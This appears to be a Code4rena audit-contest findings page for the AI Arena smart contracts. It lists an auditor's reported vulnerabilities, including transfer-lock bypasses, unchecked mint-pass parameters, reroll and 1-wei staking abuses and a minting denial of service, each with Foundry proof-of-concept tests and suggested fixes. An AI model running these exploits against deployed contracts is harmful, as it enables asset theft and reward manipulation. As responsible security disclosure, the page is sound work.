Platform: Code4rena
Start Date: 09/02/2024
Pot Size: $60,500 USDC
Total HM: 17
Participants: 283
Period: 12 days
Judge:
Id: 328
League: ETH
Rank: 76/283
Findings: 11
Award: $73.22
π Selected for report: 0
π Solo Findings: 0
π Selected for report: CodeWasp
Also found by: 0x13, 0xAlix2, 0xAsen, 0xCiphky, 0xE1, 0xLogos, 0xaghas, 0xlemon, 0xlyov, 0xvj, ADM, Aamir, BARW, Bauchibred, DMoore, DanielArmstrong, Draiakoo, Fulum, GhK3Ndf, Josh4324, Kalogerone, KmanOfficial, Krace, KupiaSec, Limbooo, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Tendency, _eperezok, adam-idarrha, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, c0pp3rscr3w3r, cartlex_, cats, d3e4, deadrxsezzz, denzi_, devblixt, dimulski, erosjohn, evmboi32, fnanni, grearlake, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, juancito, klau5, korok, ktg, ladboy233, matejdb, merlinboii, novamanbg, nuthan2x, oualidpro, peanuts, petro_1912, pkqs90, pynschon, radev_sw, rouhsamad, sashik_eth, shaka, sobieski, soliditywala, stackachu, tallo, thank_you, ubl4nk, vnavascues, web3pwn, xchen1130, zhaojohnson
0.1044 USDC - $0.10
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L338 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L355
A fighter NFT can be transferred if staked which should not be the case and could cause all sorts of trouble.
The ERC721
standard includes 3 transfer functions:
transferFrom(address,address,uint256)
safeTransferFrom(address,address,uint256)
safeTransferFrom(address,address,uint256,bytes)
The last function safeTransferFrom(address,address,uint256,bytes)
is not accounted for in the FighterFarm
contract and can be used to transfer the fighter even if staked.
Add test to FighterFarm.t.sol
and run with forge test --match-path ./test/FighterFarm.t.sol -vvv
function testCanTransferWhileStaked() public { address player = vm.addr(3); // Mint a nft to the owner. _mintFromMergingPool(player); // Owner updates staking to true _fighterFarmContract.addStaker(_ownerAddress); _fighterFarmContract.updateFighterStaking(0, true); assertEq(_fighterFarmContract.fighterStaked(0), true); // This should fail as it is overridden and prevents transfer vm.expectRevert(); vm.prank(player); _fighterFarmContract.transferFrom(player, _DELEGATED_ADDRESS, 0); assertEq(_fighterFarmContract.ownerOf(0) != _DELEGATED_ADDRESS, true); assertEq(_fighterFarmContract.ownerOf(0), player); // This is not overriden and should allow transfer of nft vm.prank(player); _fighterFarmContract.safeTransferFrom(player, _DELEGATED_ADDRESS, 0, ""); assertEq(_fighterFarmContract.ownerOf(0), _DELEGATED_ADDRESS); assertEq(_fighterFarmContract.fighterStaked(0), true); }
Manual review
Override the missing function in the FighterFarm
contract.
function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory data ) public override(ERC721, IERC721) { require(_ableToTransfer(tokenId, to)); _safeTransfer(from, to, tokenId, data); }
ERC721
#0 - c4-pre-sort
2024-02-23T05:47:19Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-23T05:47:27Z
raymondfam marked the issue as duplicate of #739
#2 - c4-judge
2024-03-11T02:51:42Z
HickupHH3 marked the issue as satisfactory
π Selected for report: Aamir
Also found by: 0rpse, 0x11singh99, 0x13, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xE1, 0xKowalski, 0xLogos, 0xWallSecurity, 0xaghas, 0xbranded, 0xlemon, 0xlyov, 0xpoor4ever, 0xprinc, 0xvj, ADM, Aymen0909, BARW, Bauchibred, Breeje, CodeWasp, DMoore, DeFiHackLabs, Draiakoo, Fulum, GhK3Ndf, Greed, Jorgect, Josh4324, Kalogerone, KmanOfficial, Krace, Limbooo, McToady, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Ryonen, SovaSlava, SpicyMeatball, Tendency, Timenov, ZanyBonzy, _eperezok, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, cats, csanuragjain, deadrxsezzz, denzi_, devblixt, dimulski, djxploit, erosjohn, evmboi32, fnanni, grearlake, haxatron, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, josephdara, juancito, kiqo, klau5, korok, krikolkk, ktg, kutugu, ladboy233, lil_eth, m4ttm, matejdb, merlinboii, n0kto, ni8mare, novamanbg, nuthan2x, oualidpro, pa6kuda, peter, petro_1912, pkqs90, pynschon, sandy, sashik_eth, shaflow2, shaka, sobieski, soliditywala, solmaxis69, stackachu, tallo, thank_you, tpiliposian, ubl4nk, visualbits, vnavascues, web3pwn, xchen1130, zhaojohnson
0.0037 USDC - $0.00
GameItems can be transferable even if the admin sets transferable = false
The ERC1155 standard has 2 transfer functions:
safeTransferFrom
safeBatchTransferFrom
The safeBatchTransferFrom
is not overridden in the GameItems
contract and can be used to transfer items that should be non-transferable.
Add this test to GameItems.t.sol
and run with forge test --match-path ./test/GameItems.t.sol -vvv
function testSafeTransferFromWorkWhenLocked() public { _fundUserWith4kNeuronByTreasury(_ownerAddress); _gameItemsContract.mint(0, 2); // Set transferability to false _gameItemsContract.adjustTransferability(0, false); (,, bool transferable,,,) = _gameItemsContract.allGameItemAttributes(0); assertEq(transferable, false); // Calling safeTransferFrom reverts as expected vm.expectRevert(); _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, ""); // Check balances assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 0); assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 2); // SAFE TRANSFER WITH BATCH uint256[] memory ids = new uint256[](1); uint256[] memory amounts = new uint256[](1); ids[0] = 0; amounts[0] = 2; // This allows the transfer to happen _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, ids, amounts, ""); assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 2); assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0); (,, transferable,,,) = _gameItemsContract.allGameItemAttributes(0); assertEq(transferable, false); }
Manual review
Override the safeBatchTransferFrom
in the GameItems
function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public override(ERC1155) { for(uint i = 0; i < ids.length; i++) { require(allGameItemAttributes[ids[i]].transferable); } super.safeBatchTransferFrom(from, to, ids, amounts, data); }
Other
#0 - c4-pre-sort
2024-02-22T04:37:27Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T04:37:40Z
raymondfam marked the issue as duplicate of #18
#2 - c4-pre-sort
2024-02-26T00:29:41Z
raymondfam marked the issue as duplicate of #575
#3 - c4-judge
2024-03-05T04:58:21Z
HickupHH3 marked the issue as satisfactory
π Selected for report: Abdessamed
Also found by: 0rpse, 0xAlix2, 0xAsen, 0xCiphky, 0xlemon, 0xmystery, 0xvj, ADM, Aamir, Archime, BARW, DarkTower, Draiakoo, FloatingPragma, JCN, McToady, MrPotatoMagic, OMEN, PetarTolev, Ryonen, SpicyMeatball, Tendency, VAD37, Velislav4o, VrONTg, Zac, adamn000, ahmedaghadi, alexxander, alexzoid, bhilare_, btk, cats, d3e4, denzi_, devblixt, dimulski, evmboi32, fnanni, givn, haxatron, immeas, jesjupyter, juancito, ke1caM, klau5, korok, krikolkk, matejdb, n0kto, niser93, peter, pkqs90, radin100, shaka, sl1, soliditywala, stackachu, stakog, t0x1c, vnavascues, yotov721, zhaojohnson
1.2667 USDC - $1.27
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233-L262 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L510-L514 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L108
Mint pass holders can copy other players' fighters' dna. This would allow him to choose a DNA that fits him best. Could be best attributes or any attributes he wants. This takes away a random element that dna should provide.
A holder of the mint pass can redeem a fighter by calling the redeemMintPass
function. This will burn the mintPass
and mint a fighter.
function redeemMintPass( uint256[] calldata mintpassIdsToBurn, uint8[] calldata fighterTypes, uint8[] calldata iconsTypes, string[] calldata mintPassDnas, string[] calldata modelHashes, string[] calldata modelTypes ) external { ... for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) { require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i])); _mintpassInstance.burn(mintpassIdsToBurn[i]); _createNewFighter( msg.sender, uint256(keccak256(abi.encode(mintPassDnas[i]))), <- HERE modelHashes[i], modelTypes[i], fighterTypes[i], iconsTypes[i], [uint256(100), uint256(100)] ); } }
A problem is that the mintPassDnas
parameter can be arbitrarily chosen by a mint pass holder. He could observe an on-chain transaction and find the best dna that other fighters use. He could even mint more fighters with the same exact dna. This allows a mint pass holder to copy other NFTs at will.
Manual review
Since dna ranges from 0-2^256-1
it would make sense to track all of the already used dnas and require that the dna used is unique.
Invalid Validation
#0 - c4-pre-sort
2024-02-22T08:15:13Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T08:15:22Z
raymondfam marked the issue as duplicate of #33
#2 - c4-pre-sort
2024-02-26T00:54:04Z
raymondfam marked the issue as duplicate of #1626
#3 - c4-judge
2024-03-05T10:56:27Z
HickupHH3 changed the severity to 3 (High Risk)
#4 - c4-judge
2024-03-06T03:36:05Z
HickupHH3 marked the issue as satisfactory
π Selected for report: Abdessamed
Also found by: 0rpse, 0xAlix2, 0xAsen, 0xCiphky, 0xlemon, 0xmystery, 0xvj, ADM, Aamir, Archime, BARW, DarkTower, Draiakoo, FloatingPragma, JCN, McToady, MrPotatoMagic, OMEN, PetarTolev, Ryonen, SpicyMeatball, Tendency, VAD37, Velislav4o, VrONTg, Zac, adamn000, ahmedaghadi, alexxander, alexzoid, bhilare_, btk, cats, d3e4, denzi_, devblixt, dimulski, evmboi32, fnanni, givn, haxatron, immeas, jesjupyter, juancito, ke1caM, klau5, korok, krikolkk, matejdb, n0kto, niser93, peter, pkqs90, radin100, shaka, sl1, soliditywala, stackachu, stakog, t0x1c, vnavascues, yotov721, zhaojohnson
1.2667 USDC - $1.27
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233-L240 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L252 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L510 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L100-L104
Users can choose any icons when redeeming a mint pass. The icons should represent a rare subset of champions so they should not be arbitrarily chosen by a user redeeming a mint pass.
When using a mint pass to create a new fighter a user can pass any values as iconsTypes
that can be used to get special attributes. This shouldn't be the case as the icons should be granted by an admin.
function redeemMintPass( uint256[] calldata mintpassIdsToBurn, uint8[] calldata fighterTypes, uint8[] calldata iconsTypes, string[] calldata mintPassDnas, string[] calldata modelHashes, string[] calldata modelTypes ) external { ... for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) { require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i])); _mintpassInstance.burn(mintpassIdsToBurn[i]); _createNewFighter( msg.sender, uint256(keccak256(abi.encode(mintPassDnas[i]))), modelHashes[i], modelTypes[i], fighterTypes[i], iconsTypes[i], [uint256(100), uint256(100)] ); } }
This will allow the users to choose any of the predefined special icons.
function createPhysicalAttributes( uint256 dna, uint8 generation, uint8 iconsType, bool dendroidBool ) external view returns (FighterOps.FighterPhysicalAttributes memory) { if (dendroidBool) { return FighterOps.FighterPhysicalAttributes(99, 99, 99, 99, 99, 99); } else { ... for (uint8 i = 0; i < attributesLength; i++) { if ( i == 0 && iconsType == 2 || // Custom icons head (beta helmet) <- HERE i == 1 && iconsType > 0 || // Custom icons eyes (red diamond) <- HERE i == 4 && iconsType == 3 // Custom icons hands (bowling ball) <- HERE ) { finalAttributeProbabilityIndexes[i] = 50; } else { ... } } ... } }
Manual review
Check if a user is allowed to use the provided icons when redeeming a mint pass. The values should be stored in the mint pass and then checked against in the redeemMintPass
function.
Invalid Validation
#0 - c4-pre-sort
2024-02-22T08:17:20Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T08:17:28Z
raymondfam marked the issue as duplicate of #33
#2 - c4-pre-sort
2024-02-26T00:54:06Z
raymondfam marked the issue as duplicate of #1626
#3 - c4-judge
2024-03-05T10:56:27Z
HickupHH3 changed the severity to 3 (High Risk)
#4 - c4-judge
2024-03-06T03:36:19Z
HickupHH3 marked the issue as satisfactory
π Selected for report: Abdessamed
Also found by: 0rpse, 0xAlix2, 0xAsen, 0xCiphky, 0xlemon, 0xmystery, 0xvj, ADM, Aamir, Archime, BARW, DarkTower, Draiakoo, FloatingPragma, JCN, McToady, MrPotatoMagic, OMEN, PetarTolev, Ryonen, SpicyMeatball, Tendency, VAD37, Velislav4o, VrONTg, Zac, adamn000, ahmedaghadi, alexxander, alexzoid, bhilare_, btk, cats, d3e4, denzi_, devblixt, dimulski, evmboi32, fnanni, givn, haxatron, immeas, jesjupyter, juancito, ke1caM, klau5, korok, krikolkk, matejdb, n0kto, niser93, peter, pkqs90, radin100, shaka, sl1, soliditywala, stackachu, stakog, t0x1c, vnavascues, yotov721, zhaojohnson
1.2667 USDC - $1.27
A user can mint either a champion or dendroid by will when redeeming a mintPass
. The mintPasses are minted based on the fighterType
and should not let the user decide which type of a fighter he wants to mint because he will always opt for a dendroid as it is rarer.
When using a mint pass to create a fighter user calls a redeemMintPass
function. The array fighterTypes
is not checked against the mintPass
to see if the fighterType
matches the type of a fighter the mint pass was minted for.
function redeemMintPass( uint256[] calldata mintpassIdsToBurn, uint8[] calldata fighterTypes, uint8[] calldata iconsTypes, string[] calldata mintPassDnas, string[] calldata modelHashes, string[] calldata modelTypes ) external { require( mintpassIdsToBurn.length == mintPassDnas.length && mintPassDnas.length == fighterTypes.length && fighterTypes.length == modelHashes.length && modelHashes.length == modelTypes.length ); for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) { require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i])); _mintpassInstance.burn(mintpassIdsToBurn[i]); _createNewFighter( msg.sender, uint256(keccak256(abi.encode(mintPassDnas[i]))), modelHashes[i], modelTypes[i], fighterTypes[i], iconsTypes[i], [uint256(100), uint256(100)] ); } }
Manual review
Check that the fighterType
that user wants to mint is the same type of fighter a mint pass was minted for.
Invalid Validation
#0 - c4-pre-sort
2024-02-22T08:18:03Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T08:18:12Z
raymondfam marked the issue as duplicate of #33
#2 - c4-pre-sort
2024-02-26T00:54:07Z
raymondfam marked the issue as duplicate of #1626
#3 - c4-judge
2024-03-06T03:36:22Z
HickupHH3 marked the issue as satisfactory
π Selected for report: klau5
Also found by: 0xAleko, 0xAlix2, 0xAsen, 0xCiphky, 0xKowalski, 0xlemon, 0xvj, 14si2o_Flint, Aamir, AlexCzm, Aymen0909, BARW, Blank_Space, DanielArmstrong, Davide, Draiakoo, Giorgio, McToady, MrPotatoMagic, PoeAudits, Ryonen, Silvermist, SpicyMeatball, Tychai0s, VAD37, Varun_05, alexxander, alexzoid, aslanbek, blutorque, btk, cats, d3e4, denzi_, evmboi32, fnanni, givn, grearlake, haxatron, jesjupyter, juancito, ke1caM, ktg, lanrebayode77, linmiaomiao, matejdb, merlinboii, n0kto, novamanbg, nuthan2x, petro_1912, pynschon, radin100, sashik_eth, shaka, sl1, soliditywala, solmaxis69, t0x1c, ubl4nk, vnavascues, xchen1130, yotov721, zhaojohnson
1.1225 USDC - $1.12
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L383-L388 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L372 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L108 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L174
Users could reroll a fighter more times than it is allowed for a fighterType
or use probabilities for attributes from a previous generation
which could allow them to get rare items with a higher probability.
When rerolling a fighter the fighterType
is not checked to be the same as the fighterType
of the tokenId
the user wants to re-roll. This has two main problems.
function reRoll(uint8 tokenId, uint8 fighterType) public { ... require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]); <- HERE ... _neuronInstance.approveSpender(msg.sender, rerollCost); bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost); if (success) { ... fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes( newDna, generation[fighterType], <- HERE fighters[tokenId].iconsType, fighters[tokenId].dendroidBool ); _tokenURIs[tokenId] = ""; } }
Let's say that champions can get more rerolls as dendroids. eg.
maxRerollsAllowed[0] = 5
maxRerollsAllowed[1] = 2
A user can intentionally pass the fighterType
as 0
when rerolling a dendroid and reroll 5 times
, as this will be comparing the tokenId
which is a dendroid to a champion roll limit.
require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
The second issue would be that a user could use probabilities from a previous generation
as they may give him a better chance of receiving better items in a new generation. Consider the following scenario.
generation[0] = 1;
// champions generation is 1
generation[1] = 0;
// dendorid generation still at 0
The call to createPhysicalAttributes
will further invoke dnaToIndex
function. This will get the attrProbabilites
by generation. If there are any new items in a generation
a user could use the probabilities from a previous generation that could allow him to get rare items with more probability.
If he passes fighterType
as 1
when calling reroll
function for a champion (fighterType 0) the generation passed to the dnaToIndex
will be 0
(as this is a current generation for the fighterType 1) and probabilities will be retrieved for a generation 0 although the champion generation is already at generation 1 and should instead use the probabilities for a new generation.
function dnaToIndex(uint256 generation, uint256 rarityRank, string memory attribute) public view returns (uint256 attributeProbabilityIndex) { // <- RETREIVED FOR AN OLDER GENERATION AS THE generation param = 0 uint8[] memory attrProbabilities = getAttributeProbabilities(generation, attribute); uint256 cumProb = 0; uint256 attrProbabilitiesLength = attrProbabilities.length; for (uint8 i = 0; i < attrProbabilitiesLength; i++) { cumProb += attrProbabilities[i]; if (cumProb >= rarityRank) { attributeProbabilityIndex = i + 1; break; } } return attributeProbabilityIndex; }
gen0 items
= ["normal helmet", "vintage helmet", ...]
gen0 prob
= [30, 10, ...]
gen1 items
= ["super rare helmet", "hat", ...]
gen1 prob
= [1, 30, ...]
The probability of getting a "super rare helmet"
in gen 1 should be
1 in a 100. But if the user can use probability values from gen0
the probability will increase to 30 in a 100
.
Manual review
Instead of letting the user pass the fighterType
into a function, retrieve fighterType
directly from the nft.
- /// @param fighterType The fighter type. - function reRoll(uint8 tokenId, uint8 fighterType) public { + function reRoll(uint8 tokenId) public { + uint8 fighterType = 0; + if(fighters[tokenId].dendroidBool) + fighterType = 1; ... }
Invalid Validation
#0 - c4-pre-sort
2024-02-22T02:37:09Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T02:37:17Z
raymondfam marked the issue as duplicate of #306
#2 - c4-judge
2024-03-05T04:36:56Z
HickupHH3 marked the issue as satisfactory
#3 - c4-judge
2024-03-19T09:05:07Z
HickupHH3 changed the severity to 3 (High Risk)
π Selected for report: t0x1c
Also found by: 0rpse, 0xAadi, 0xBinChook, 0xCiphky, 0xDetermination, 14si2o_Flint, AC000123, Aamir, Abdessamed, Blank_Space, CodeWasp, DanielArmstrong, DarkTower, Draiakoo, Honour, Kalogerone, Krace, McToady, Merulez99, MidgarAudits, MrPotatoMagic, PedroZurdo, Silvermist, Tychai0s, VAD37, Velislav4o, VrONTg, WoolCentaur, YouCrossTheLineAlfie, ZanyBonzy, alexxander, aslanbek, btk, csanuragjain, d3e4, dimulski, djxploit, erosjohn, evmboi32, fnanni, forgebyola, forkforkdog, handsomegiraffe, immeas, israeladelaja, juancito, ktg, n0kto, neocrao, ni8mare, okolicodes, peanuts, petro_1912, shaflow2, shaka, swizz, ubermensch, ubl4nk, yotov721
2.0593 USDC - $2.06
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L245 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L258 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L519-L534 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L440-L472 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L472-L499
A user could stake as little as 1 wei
of NRN
token and still receive points with 1x multiplier
in case of a win. In case he loses he will only risk 1 wei
of NRN
which is basically $0
so he can earn points risk-free
. He is stealing rewards with 0 risk.
The stakeNRN
function requires a minimum amount
to be staked > 0
. A user could stake as little as 1 wei of NRN
. The amount is added to amountStaked[tokenId]
and the stakinFactor
is calculated.
function stakeNRN(uint256 amount, uint256 tokenId) external { require(amount > 0, "Amount cannot be 0"); ... if (success) { ... amountStaked[tokenId] += amount; <- HERE globalStakedAmount += amount; stakingFactor[tokenId] = _getStakingFactor( <- HERE tokenId, _stakeAtRiskInstance.getStakeAtRisk(tokenId) ); _calculatedStakingFactor[tokenId][roundId] = true; ... } }
Let's take a look at how the staking factor is calculated. Looking at the code below we can see that having amountStaked[tokenId]
= 1
and stakeAtRisk
= 0
results in a stakingFactor_
= 0
because of the result is rounded down. In that case, the stakingFactor_
is set to a default value of 1
. This means that points will be earned or lost with a 1x multiplier
.
function _getStakingFactor( uint256 tokenId, uint256 stakeAtRisk ) private view returns (uint256) { uint256 stakingFactor_ = FixedPointMathLib.sqrt( (amountStaked[tokenId] + stakeAtRisk) / 10**18 ); if (stakingFactor_ == 0) { stakingFactor_ = 1; } return stakingFactor_; }
As we can see in case of a win the user will earn points. If we assume the eloFactor
of 1500
(default starting value), the user will earn stakingFactor[tokenId] * eloFactor
= 1 * 1500
= 1500 points
while having only 1 wei of NRN
stake (zero risk in case of a loss)
if (battleResult == 0) { if (stakeAtRisk == 0) { points = stakingFactor[tokenId] * eloFactor; <- HERE } uint256 mergingPoints = (points * mergingPortion) / 100; points -= mergingPoints; _mergingPoolInstance.addPoints(tokenId, mergingPoints); if (curStakeAtRisk > stakeAtRisk) { curStakeAtRisk = stakeAtRisk; } if (curStakeAtRisk > 0) { ... } accumulatedPointsPerFighter[tokenId][roundId] += points; accumulatedPointsPerAddress[fighterOwner][roundId] += points; ... }
Below we can see that if a user loses he will in fact lose points if he currently has any. But in case where he reaches 0 points, the most amount of stake he could lose is 1 wei of NRN tokens valued at $0.
else if (battleResult == 2) { if (curStakeAtRisk > amountStaked[tokenId]) { ... } if (accumulatedPointsPerFighter[tokenId][roundId] > 0) { /// If the fighter has a positive point balance for this round, deduct points points = stakingFactor[tokenId] * eloFactor; if (points > accumulatedPointsPerFighter[tokenId][roundId]) { points = accumulatedPointsPerFighter[tokenId][roundId]; } accumulatedPointsPerFighter[tokenId][roundId] -= points; accumulatedPointsPerAddress[fighterOwner][roundId] -= points; ... } else { ... } }
In fact, even the 1 wei cannot be lost as the current stake at risk is rounded down to 0
curStakeAtRisk
= (bpsLostPerLoss * (1 + 0)) / 10**4
= 0
curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;
Add test to RankedBattle.t.sol
and run with forge test --match-path ./test/RankedBattle.t.sol -vvv
function testStake1wei() public { address staker = vm.addr(3); // Transfer 1 wei of NRN tokens to staker vm.prank(_treasuryAddress); _neuronContract.transfer(staker, 1); _mintFromMergingPool(staker); uint256 tokenId = 0; uint256 roundId = 0; uint256 eloFactor = 1500; uint256 mergingPortion = 0; uint8 win = 0; // User stakes 1 wei worth of NRN vm.prank(staker); _rankedBattleContract.stakeNRN(1, tokenId); uint256 pointsBefore = _rankedBattleContract.accumulatedPointsPerFighter(tokenId, roundId); // User wins vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId, mergingPortion, win, eloFactor, true); // Check the points after a win uint256 pointsAfter = _rankedBattleContract.accumulatedPointsPerFighter(tokenId, roundId); uint256 amountStaked = _rankedBattleContract.amountStaked(tokenId); uint256 stakeAtRisk = _stakeAtRiskContract.stakeAtRisk(roundId, tokenId); uint256 stakingFactor = _rankedBattleContract.stakingFactor(tokenId); assertEq(amountStaked, 1); // stakingFactor set as 1 assertEq(stakingFactor, 1); assertEq(stakeAtRisk, 0); assertEq(pointsBefore, 0); // eloFactor is 1500 so the points should be 1500 if the user has 1x multiplier assertEq(pointsAfter, 1500); }
Manual review
Instead of letting users stake amount > 0
introduce a minimum stake amount
that users would not want to lose.
Other
#0 - c4-pre-sort
2024-02-22T17:22:44Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-22T17:22:51Z
raymondfam marked the issue as duplicate of #38
#2 - c4-judge
2024-03-07T02:49:49Z
HickupHH3 changed the severity to 2 (Med Risk)
#3 - c4-judge
2024-03-07T02:58:22Z
HickupHH3 changed the severity to 3 (High Risk)
#4 - c4-judge
2024-03-07T03:38:53Z
HickupHH3 marked the issue as satisfactory
π Selected for report: haxatron
Also found by: 0xAlix2, 0xCiphky, 0xStriker, 0xaghas, 0xbranded, 0xlamide, 0xmystery, 0xvj, 14si2o_Flint, Aamir, AgileJune, Aymen0909, DanielArmstrong, DarkTower, Draiakoo, EagleSecurity, Giorgio, Krace, KupiaSec, MidgarAudits, MrPotatoMagic, PoeAudits, Ryonen, SpicyMeatball, Topmark, Tychai0s, VAD37, Varun_05, VrONTg, WoolCentaur, _eperezok, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, d3e4, devblixt, evmboi32, fnanni, immeas, jesjupyter, juancito, ke1caM, klau5, ktg, lil_eth, merlinboii, nuthan2x, peter, petro_1912, pkqs90, pynschon, radin100, sandy, sashik_eth, shaka, sl1, soliditywala, t0x1c, ubl4nk, visualbits, vnavascues
1.1225 USDC - $1.12
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L510 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L470 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L110
If generation is increased new users are unable to mint a fighter. This would result in a loss of new users and eventually the fall of the protocol as no new users can be onboarded.
Minting a new fighter is done via the _createNewFighter
function call. If customAttribute == 100
the contract uses the _createFighterBase
function to generate the element
and weight
of a fighter.
function _createNewFighter( address to, uint256 dna, string memory modelHash, string memory modelType, uint8 fighterType, uint8 iconsType, uint256[2] memory customAttributes ) private { ... if (customAttributes[0] == 100) { (element, weight, newDna) = _createFighterBase(dna, fighterType); } ... }
The _createFighterBase
function will calculate the element
as dna % numElements[generation[fighterType]]
function _createFighterBase( uint256 dna, uint8 fighterType ) private view returns (uint256, uint256, uint256) { uint256 element = dna % numElements[generation[fighterType]]; ... }
Everything seems fine but there is a problem. The value of numElements
is set in the constructor for the generation 0
. If generation is increased there is no way to set the numElements
for a new generation as the contract doesn't have a setter function.
The operation x % 0
in solidity reverts and no new fighters could ever be minted. The only way to mint would be to mint from a mergingPool
where a user could select his own attributes. This is only available to the already active players who earn points while playing the game and are selected as a winner for a given round.
Add the test to FighterFarm.t.sol
and run with forge test --match-path ./test/FighterFarm.t.sol -vvv
.
function testNumElementsBroken() public { uint8 fighterType = 0; _fighterFarmContract.incrementGeneration(fighterType); // Increase a generation assertEq(_fighterFarmContract.generation(fighterType), 1); // A signature to mint a champion uint8[2] memory numToMint = [1, 0]; bytes memory claimSignature = abi.encodePacked( hex"407c44926b6805cf9755a88022102a9cb21cde80a210bc3ad1db2880f6ea16fa4e1363e7817d5d87e4e64ba29d59aedfb64524620e2180f41ff82ca9edf942d01c" ); string[] memory claimModelHashes = new string[](1); claimModelHashes[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; string[] memory claimModelTypes = new string[](1); claimModelTypes[0] = "original"; // Expect a revert because the numElements[1] is not and cannot be set by an admin // Panics with "Reason: panic: division or modulo by zero" vm.expectRevert(); _fighterFarmContract.claimFighters(numToMint, claimSignature, claimModelHashes, claimModelTypes); }
Manual review
Add a setter function for the numElements
that can be called by the owner.
Other
#0 - c4-pre-sort
2024-02-22T19:09:26Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T19:09:35Z
raymondfam marked the issue as duplicate of #45
#2 - c4-judge
2024-03-08T03:19:55Z
HickupHH3 marked the issue as satisfactory
π Selected for report: DarkTower
